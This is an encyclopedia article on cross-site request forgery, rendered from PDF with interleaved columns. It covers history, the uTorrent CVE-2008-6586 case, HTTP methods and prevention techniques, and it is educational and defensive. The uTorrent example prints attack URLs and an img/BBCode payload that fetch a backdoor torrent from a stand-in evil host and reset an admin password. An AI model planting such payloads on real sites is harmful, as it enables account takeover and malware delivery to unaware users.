Cross-site request forgery

Cross-site request forgery, also known as one-click at-

tack or session riding and abbreviated as CSRF (some-
times pronounced sea-surf [1] ) or XSRF, is a type of ma-
licious exploit of a website where unauthorized com-
mands are transmitted from a user that the web appli-
cation trusts.[2] Unlike cross-site scripting (XSS), which
exploits the trust a user has for a particular site, CSRF
exploits the trust that a site has in a user’s browser.

1 History
CSRF vulnerabilities have been known and in some cases
exploited since 2001.[3] Because it is carried out from the
user’s IP address, some website logs might not have ev-
idence of CSRF.[2] Exploits are under-reported, at least A National Vulnerability Database page describing a CSRF vul-
publicly, and as of 2007[4] there are few well-documented nerability
examples:

• The Netflix website in 2006 had numerous vulner- Force a .torrent file download http://localhost:
abilities to CSRF, which could have allowed an at- 8080/gui/?action=add-url&s=http://evil.example.
tacker to perform actions such as adding a DVD to com/backdoor.torrent
the victim’s rental queue, changing the shipping ad-
dress on the account, or altering the victim’s login Change uTorrent administrator password
credentials to fully compromise the account.[5] http://localhost:8080/gui/?action=setsetting&
s=webui.password&v=eviladmin
• The online banking web application of ING Direct
was vulnerable to a CSRF attack that allowed illicit
money transfers.[6] Attacks were launched by placing malicious, automatic-
action HTML image elements on forums and email spam,
• Popular video website YouTube was also vulnerable so that browsers visiting these pages would open them au-
to CSRF in 2008 and this allowed any attacker to tomatically, without much user action. People running
perform nearly all actions of any user.[6] vulnerable uTorrent version at the same time as opening
• McAfee was also vulnerable to CSRF and it allowed these pages were susceptible to the attack.
attackers to change their company system.[7] <img src="http://localhost:8080/gui/?action=add-url&
s=http://evil.example.com/backdoor.torrent">

2 Example and characteristics CSRF attacks using image tags are often made from
Internet forums, where users are allowed to post images
Attackers who can find a reproducible link that executes but not JavaScript, for example using BBCode:
a specific action on the target page while the victim is
logged in can embed such link on a page they control [img]http://localhost:8080/gui/?action=add-url&amp;
and trick the victim into opening it.[1] The attack carrier s=http://evil.example.com/backdoor.torrent{[}/img]
link may be placed in a location that the victim is likely
to visit while logged into the target site (for example, a When accessing the attack link to the local uTorrent ap-
discussion forum), or sent in a HTML email body or at- plication at localhost:8080, the browser would also always
tachment. A real CSRF vulnerability in uTorrent (CVE- automatically send any existing cookies for that domain.
2008-6586) exploited the fact that its web console acces- This general property of web browsers enables CSRF at-
sible at localhost:8080 allowed mission-critical actions to tacks to exploit their targeted vulnerabilities and execute
be executed as a matter of simple GET request: hostile actions as long as the user is logged into the target

1
2 5 OTHER APPROACHES TO CSRF

website (in this example, the local uTorrent web inter- 4 HTTP verbs and CSRF
face) at the time of the attack.
A cross-site request forgery is a confused deputy attack Different HTTP request methods have different level of
against a web browser. The deputy in the bank example susceptibility to CSRF attacks and require different lev-
is Alice’s web browser, which is confused into misusing els of protection due to their different handling by web
Alice’s authority at Mallory’s direction. browsers.
CSRF commonly has the following characteristics:
• In HTTP GET the CSRF exploitation is trivial,
using methods described above, such as a simple
• It involves sites that rely on a user’s identity. hyperlink containing manipulated parameters and
• It exploits the site’s trust in that identity. automatically loaded by a IMG tag. By the HTTP
specification however, GET should be used as a safe
• It tricks the user’s browser into sending HTTP re- method, that is, not significantly changing user’s
quests to a target site. state in the application. Applications using GET for
such operations should switch to HTTP POST or use
• It involves HTTP requests that have side effects. anti-CSRF protection.

• HTTP POST has different vulnerability to CSRF,

At risk are web applications that perform actions based
depending on detailed usage scenarios:
on input from trusted and authenticated users without re-
quiring the user to authorize the specific action. A user • In simplest form of POST with
who is authenticated by a cookie saved in the user’s web data encoded as a query string
browser could unknowingly send an HTTP request to a (field1=value1&field2=value2) CSRF at-
site that trusts the user and thereby causes an unwanted tack is easily implemented using a simple
action. HTML form and anti-CSRF measures must
In the uTorrent example described above, the attack be applied.
was facilitated by the fact that uTorrent’s web interface • If data is sent in any other format (JSON,
used GET request for critical state-changing operations XML) a standard method is to issue a POST
(change credentials, download a file etc.), which RFC request using XMLHttpRequest with CSRF
2616 explicitly discourages: attacks prevented by SOP and CORS; there
is a technique to send arbitrary content from
In particular, the convention has been es- a simple HTML form using ENCTYPE at-
tablished that the GET and HEAD methods tribute; such a fake request can be distin-
SHOULD NOT have the significance of tak- guished from legitimate ones by text/plain con-
ing an action other than retrieval. These meth- tent type, but if this is not enforced on the
ods ought to be considered “safe”. This allows server, CSRF can be executed[11][12]
user agents to represent other methods, such as
• other HTTP methods (PUT, DELETE etc.) can
POST, PUT and DELETE, in a special way,
only be issued using XMLHttpRequest with SOP
so that the user is made aware of the fact that a
and CORS and preventing CSRF; these measures
possibly unsafe action is being requested.
however will not be active on websites that explicitly
disable them using Access-Control-Allow-Origin: *
Because of this assumption, many existing CSRF preven- header
tion mechanisms in web frameworks will not cover GET
requests, but rather apply the protection only to HTTP
methods that are intended to be state-changing.[8] 5 Other approaches to CSRF
Additionally, while typically described as a static type of
3 Forging login requests attack, CSRF can also be dynamically constructed as part
of a payload for a cross-site scripting attack, as demon-
An attacker may forge a request to log the victim into strated by the Samy worm, or constructed on the fly from
a target website using the attacker’s credentials; this is session information leaked via offsite content and sent to
known as login CSRF. Login CSRF makes various novel a target as a malicious URL. CSRF tokens could also be
attacks possible; for instance, an attacker can later log into sent to a client by an attacker due to session fixation or
the site with his legitimate credentials and view private other vulnerabilities, or guessed via a brute-force attack,
information like activity history that has been saved in rendered on a malicious page that generates thousands of
the account. This attack has been demonstrated against failed requests. The attack class of “Dynamic CSRF”,
Google[9] and Yahoo.[10] or using a per-client payload for session-specific forgery,
 3

was described[13] in 2009 by Nathan Hamiel and Shawn On the other hand, attack attempts are easy to mount and
Moyer at the BlackHat Briefings,[14] though the taxonomy invisible to victims, and application designers are less fa-
has yet to gain wider adoption. miliar with and prepared for CSRF attacks than they are
A new vector for composing dynamic CSRF attacks was for, say, password cracking dictionary attacks.
presented by Oren Ofer at a local OWASP chapter meet-
ing on January 2012 – “AJAX Hammer – Dynamic
CSRF”.[15][16] 8 Prevention
Most CSRF prevention techniques work by embedding
6 Effects additional authentication data into requests that allows the
web application to detect requests from unauthorized lo-
According to the United States Department of Homeland cations.
Security, the most dangerous CSRF vulnerability ranks
as the 909th most dangerous software bug ever found.[17]
Other severity metrics have been issued for CSRF vul- 8.1 Synchronizer token pattern
nerabilities that result in remote code execution with root
privileges[18] as well as a vulnerability that can compro- Synchronizer token pattern (STP) is a technique where a
mise a root certificate, which will completely undermine token, secret and unique value for each request, is embed-
a public key infrastructure.[19] ded by the web application in all HTML forms and ver-
ified on the server side. The token may be generated by
any method that ensures unpredictability and uniqueness
(e.g. using a hash chain of random seed). The attacker
7 Limitations is thus unable to place a correct token in their requests to
authenticate them.[1][20][21]
Several things have to happen for cross-site request
Example of STP set by Django in a HTML form:
forgery to succeed:
<input type="hidden” name="csrfmiddlewaretoken”
1. The attacker must target either a site that doesn't value="KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt” />
check the referrer header or a victim with a browser
or plugin that allows referer spoofing. STP is the most compatible as it only relies on HTML, but
introduces some complexity on the server side, due to the
2. The attacker must find a form submission at the tar- burden associated with checking validity of the token on
get site, or a URL that has side effects, that does each single request. As the token is unique and unpre-
something (e.g., transfers money, or changes the vic- dictable, it also enforces proper sequence of events (e.g.
tim’s e-mail address or password). screen 1, then 2, then 3) which raises usability problem
3. The attacker must determine the right values for all (e.g. user opens multiple tabs). It can be relaxed by us-
the forms or URL inputs; if any of them are required ing per session CSRF token instead of per request CSRF
to be secret authentication values or IDs that the at- token.
tacker can't guess, the attack will most likely fail (un-
less the attacker is extremely lucky in their guess).
8.2 Cookie-to-Header Token
4. The attacker must lure the victim to a web page with
malicious code while the victim is logged into the Web applications that use JavaScript for the majority of
target site. their operations may use an anti-CSRF technique that re-
lies on same-origin policy:
Note that the attack is blind; i.e., the attacker can't see
what the target website sends back to the victim in re- • On login, the web application sets a cookie contain-
sponse to the forged requests, unless they exploit a cross- ing a random token that remains the same for the
site scripting or other bug at the target website. Similarly, whole user session
the attacker can only target any links or submit any forms
that come up after the initial forged request if those sub- Set-Cookie: Csrf-token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql;
sequent links or forms are similarly predictable. (Multi- expires=Thu, 23-Jul-2015 10:25:33 GMT; Max-
ple targets can be simulated by including multiple images Age=31449600; Path=/
on a page, or by using JavaScript to introduce a delay be-
tween clicks.) • JavaScript operating on the client side reads its value
Given these constraints, an attacker might have difficulty and copies it into a custom HTTP header sent with
finding logged-in victims or attackable form submissions. each transactional request
4 9 SEE ALSO

X-Csrf-Token: i8XNjC4b8KVok4uw5RftR38Wgp2BFwqlwindow, by deleting cookies as soon as they are no longer

associated with an open tab.
• The server validates presence and integrity of the to-
ken
8.4 Other techniques
Security of this technique is based on the assumption
that only JavaScript running within the same origin will Various other techniques have been used or proposed for
be able to read the cookie’s value. JavaScript running CSRF prevention historically:
from a rogue file or email will not be able to read it and
copy into the custom header. Even though the csrf-token • Verifying that the request’s headers contain X-
cookie will be automatically sent with the rogue request, Requested-With (used by Ruby on Rails before v2.0
the server will be still expecting a valid X-Csrf-Token and Django before v1.2.5), or checking the HTTP
header. Referer header and/or HTTP Origin header.[26]
The CSRF token itself should be unique and unpre- However, this is insecure – a combination of
dictable. It may be generated randomly, or it may be de- browser plugins and redirects can allow an attacker
rived from the session token using HMAC: to provide custom HTTP headers on a request to any
website, hence allowing a forged request.[27][28]
csrf_token = HMAC(session_token, application_secret)
The CSRF token cookie must not have httpOnly flag, as • Checking the HTTP Referer header to see if the
it is intended to be read by the JavaScript by design. request is coming from an authorized page is com-
monly used for embedded network devices because
This technique is implemented by many modern frame-
it does not increase memory requirements. How-
works, such as Django[22] and AngularJS.[23] Because the
ever, a request that omits the Referer header must
token remains constant over the whole user session, it
be treated as unauthorized because an attacker can
works well with AJAX applications, but does not enforce
suppress the Referer header by issuing requests from
sequence of events in the web application.
FTP or HTTPS URLs. This strict Referer valida-
tion may cause issues with browsers or proxies that
• Permissive Access-Control-Allow-Origin Cross- omit the Referer header for privacy reasons. Also,
origin resource sharing header (with asterisk old versions of Flash (before 9.0.18) allow malicious
argument) Flash to generate GET or POST requests with ar-
• clientaccesspolicy.xml file granting unintended ac- bitrary HTTP request headers using CRLF Injec-
cess to Silverlight controls[24] tion.[29] Similar CRLF injection vulnerabilities in a
client can be used to spoof the referrer of an HTTP
• crossdomain.xml file granting unintended access to request.
Flash movies[25]
• POST request method was for a while perceived
as immune to trivial CSRF attacks using param-
8.3 Client side safeguards eters in URL (using GET method). However,
both POST and any other HTTP method can be
Browser extensions such as RequestPolicy (for Mozilla now easily executed using XMLHttpRequest. Fil-
Firefox) or uMatrix (for both Firefox and Google tering out unexpected GET requests still prevents
Chrome/Chromium) can prevent CSRF by providing a some particular attacks, such as cross-site attacks
default-deny policy for cross-site requests. However, this using malicious image URLs or link addresses
can significantly interfere with the normal operation of and cross-site information leakage through <script>
many websites. The CsFire extension (also for Firefox) elements (JavaScript hijacking); it also prevents
can mitigate the impact of CSRF with less impact on nor- (non-security-related) problems with aggressive web
mal browsing, by removing authentication information crawlers and link prefetching.[1]
from cross-site requests.
The NoScript extension for Firefox mitigates CSRF Cross-site scripting (XSS) vulnerabilities (even in other
threats by distinguishing trusted from untrusted sites, and applications running on the same domain) allow attackers
removing authentication & payloads from POST requests to bypass essentially all CSRF preventions.[30]
sent by untrusted sites to trusted ones. The Application
Boundary Enforcer module in NoScript also blocks re-
quests sent from internet pages to local sites (e.g. local- 9 See also
host), preventing CSRF attacks on local services (such as
uTorrent) or routers.
• BREACH (security exploit)
The Self Destructing Cookies extension for Firefox does
not directly protect from CSRF, but can reduce the attack • Confused deputy problem
 5

• CRIME (security exploit) [16] Downloads – hasc-research – hasc-research – Google

Project Hosting. Code.google.com (2013-06-17). Re-
• Cross-document messaging trieved on 2014-04-12.

• Heap spraying [17] “Vulnerability Notes”.

• Replay attack [18] “Vulnerability Note VU#584089 - cPanel XSRF vulnera-

bilities”.
• Session fixation
[19] “Vulnerability Note VU#264385 - OpenCA allows Cross
• Web application security site request forgery (XSRF)".

[20] “Cross-Site Request Forgery (CSRF) Prevention Cheat

Sheet”. OWASP. Retrieved 2014-07-24.
10 References
[21] “Valhalla Articles - Cross-Site Request Forgery: Demys-
tified”.
[1] Shiflett, Chris (December 13, 2004). “Security Corner:
Cross-Site Request Forgeries”. php|architect (via shi- [22] “Cross Site Request Forgery protection”. Django. Re-
flett.org). Retrieved 2008-07-03. trieved 2015-01-20.
[2] Ristic, Ivan (2005). Apache Security. O'Reilly Media. p. [23] “Cross Site Request Forgery (XSRF) Protection”. Angu-
280. ISBN 0-596-00724-8. larJS. Retrieved 2015-01-20.
[3] Burns, Jesse (2005). “Cross Site Request Forgery: An [24] “Making a Service Available Across Domain Boundaries”.
Introduction To A Common Web Weakness” (PDF). In-
formation Security Partners, LLC. Retrieved 2011-12-12. [25] Adamski, Lucas. “Cross-domain policy file usage recom-
mendations for Flash Player - Adobe Developer Connec-
[4] Christey, Steve; Martin, Robert A. (May 22, 2007). tion”.
“Vulnerability Type Distributions in CVE (version 1.1)".
MITRE Corporation. Retrieved 2008-06-07. [26] Origin Header Proposal. People.mozilla.org. Retrieved
on 2013-07-29.
[5] Washkuch Jr., Frank (October 17, 2006). “Netflix fixes
cross-site request forgery hole”. SC Magazine. Retrieved [27] “Django 1.2.5 release notes”. Django.
2016-10-29.
[28] “Cross-Site Request Forgery (CSRF)". OWASP, The Open
[6] William Zeller; Edward W. Felten (October 2008). Web Application Security Project. 4 September 2012. Re-
“Cross-Site Request Forgeries: Exploitation and Preven- trieved 11 September 2012.
tion” (PDF). Retrieved 29 May 2015.
[29] “Secunia Advisory SA22467”. Secunia. 19 October
[7] Mike, Bailey (2009). “CSRF: Yeah, It Still Works….” 2006. Retrieved 11 September 2012.
(PDF). DEFCON.
[30] Schneider, Christian. “CSRF and same-origin XSS”.
[8] “Cross Site Request Forgery protection | Django docu-
mentation | Django”. docs.djangoproject.com. Retrieved
2015-08-21. 11 External links
[9] Adam Barth, Collin Jackson, and John C. Mitchell,
Robust Defenses for Cross-Site Request Forgery, Pro- • How To Prevent CSRF and XSRF Attacks
ceedings of the 15th ACM Conference on Computer and
Communications Security, ACM 2008 • A Most-Neglected Fact About Cross Site Request
Forgery
[10] Joseph Foulds, Passive monitoring login request forgery,
Yahoo • The Cross-Site Request Forgery FAQ

[11] “Cross-Site Request Forgery For POST Requests With An • Cross-Site Request Forgery from The Web Ap-
XML Body”. pentestmonkey. Retrieved September 4, plication Security Consortium Threat Classification
2015. Project
[12] Sheeraj Shah (2008). “Web 2.0 Hacking Defending Ajax
& Web Services” (PDF). HITB. Retrieved September 4,
2015.

[13] “Security Fix - Weaponizing Web 2.0”.

[14] Dynamic CSRF

[15] Owasp.org: Israel 2012/01: AJAX Hammer – Harnessing

AJAX for CSRF Attacks
6 12 TEXT AND IMAGE SOURCES, CONTRIBUTORS, AND LICENSES

12 Text and image sources, contributors, and licenses

12.1 Text
• Cross-site request forgery Source: https://en.wikipedia.org/wiki/Cross-site_request_forgery?oldid=792286922 Contributors: Damian
Yerrick, AxelBoldt, Wesley, XTaran~enwiki, Edward, Michael Hardy, Crenner, Ixfd64, Ehn, Furrykef, RickBeton, Robbot, Chealer,
Chocolateboy, Achurch, Lee J Haywood, Requiem18th, Gracefool, Cloud200, GreenReaper, Hydrox, Smyth, Bender235, Edward Z. Yang,
RoyBoy, Bobo192, Mytto, Phantom~enwiki, Ramsey, Wrs1864, SnowFire, Thenerdgod, Schapel, Feezo, Simetrical, Mindmatrix, David
Haslam, Lucienve, Ruud Koot, TrentonLipscomb, Mandarax, Graham87, TheRingess, ElKevbo, Florian huber, Mikej~enwiki, Mahlon,
Chobot, Pinecar, Wavelength, JoeWalker, Wolfmankurd, RadioFan2 (usurped), Brec, Irishguy, Juanpdp, Løde, DeadEyeArrow, Strolls,
Cedar101, Ka-Ping Yee, SmackBot, FlashSheridan, DariusWiles, MovGP0, Frap, Mr.Z-man, Tompsci, NikolasCo, NeilFraser, Zaphraud,
Siruguri, Meitar, Dreftymac, CapitalR, Rulesdoc, Kennyluck, Aydiosmio, Mmoncur, Gogo Dodo, Jedonnelley, Edgerck, DumbBOT,
Woody, SusanLesch, Dawnseeker2000, Widefox, QuiteUnusual, Andonic, Zarino, Soulbot, Firealwaysworks, Richlv, Wppds, EBusiness,
Shiflett, Aaron Hurst, Atropos235, Peepeedia, Spellcast, Hmjgriffon, AllanManangan, Crashie, Suction Man, Dsm56, AlleborgoBot, Kim-
balwb, DavidBourguignon, Keilana, MinorContributor, Vfeditor, Oxymoron83, Sliwers, Vrsane, ClueBot, Jackollie, Mild Bill Hiccup,
Carl.antuar, Bert.Roos, Anon126, AgnosticPreachersKid, EamonnAG, SlubGlub, Getsnoopy, Addbot, Mortense, Sripathikrishnan, Tide
rolls, Jalbertbowdenii, Yobot, WhyDoIKeepForgetting, AnomieBOT, Slsh, Citation bot, LilHelpa, Xqbot, Wadim.grasza, Krsch, Michael-
Coates, Scarybeasts, Bugefun, A Quest For Knowledge, Harmonb, Dougofborg, Krinkle, Danielcornell, Jandalhandler, LoneRanger India,
Full-date unlinking bot, Runxc1, Joomlame, Epicfailftw, FoxBot, Alphanis, Lotje, Macxtom, JeffMorriss, Dewritech, Zerkroz, Borislavs-
abev, Dcirovic, Ynori7, ZéroBot, Alpha Quadrant (alt), Keavon, ClueBot NG, Gareth Griffith-Jones, Rathigpe, BG19bot, Compfreak7,
Felix-1205, Sboosali, BattyBot, Pratyya Ghosh, Rzuasti, MadGuy7023, Best4hack, Alex Rodzinsky, Numbermaniac, Openmikenite, Trip-
Wire, Gelatinous cubism, Cashlock, Gehrhorn, UY Scuti, Winlose378, Editorfun, Melcous, SyedMubashir, Dai Pritchard, KH-1, Aybbyk,
Seadog007, The Ajay Devgan aka DrGenius, Ujjwal Sahay, Anarchyte, Equinox, Hugoscorrea, Bsdpuffy, Rrichajalota, Gulumeemee, Red-
hat101, Wpdavef and Anonymous: 237

12.2 Images
• File:NVD-CVE-2007-1332.png Source: https://upload.wikimedia.org/wikipedia/commons/e/eb/NVD-CVE-2007-1332.png License:
Public domain Contributors: National Vulnerability Database (Source URL) Original artist: US-CERT/NIST

12.3 Content license

• Creative Commons Attribution-Share Alike 3.0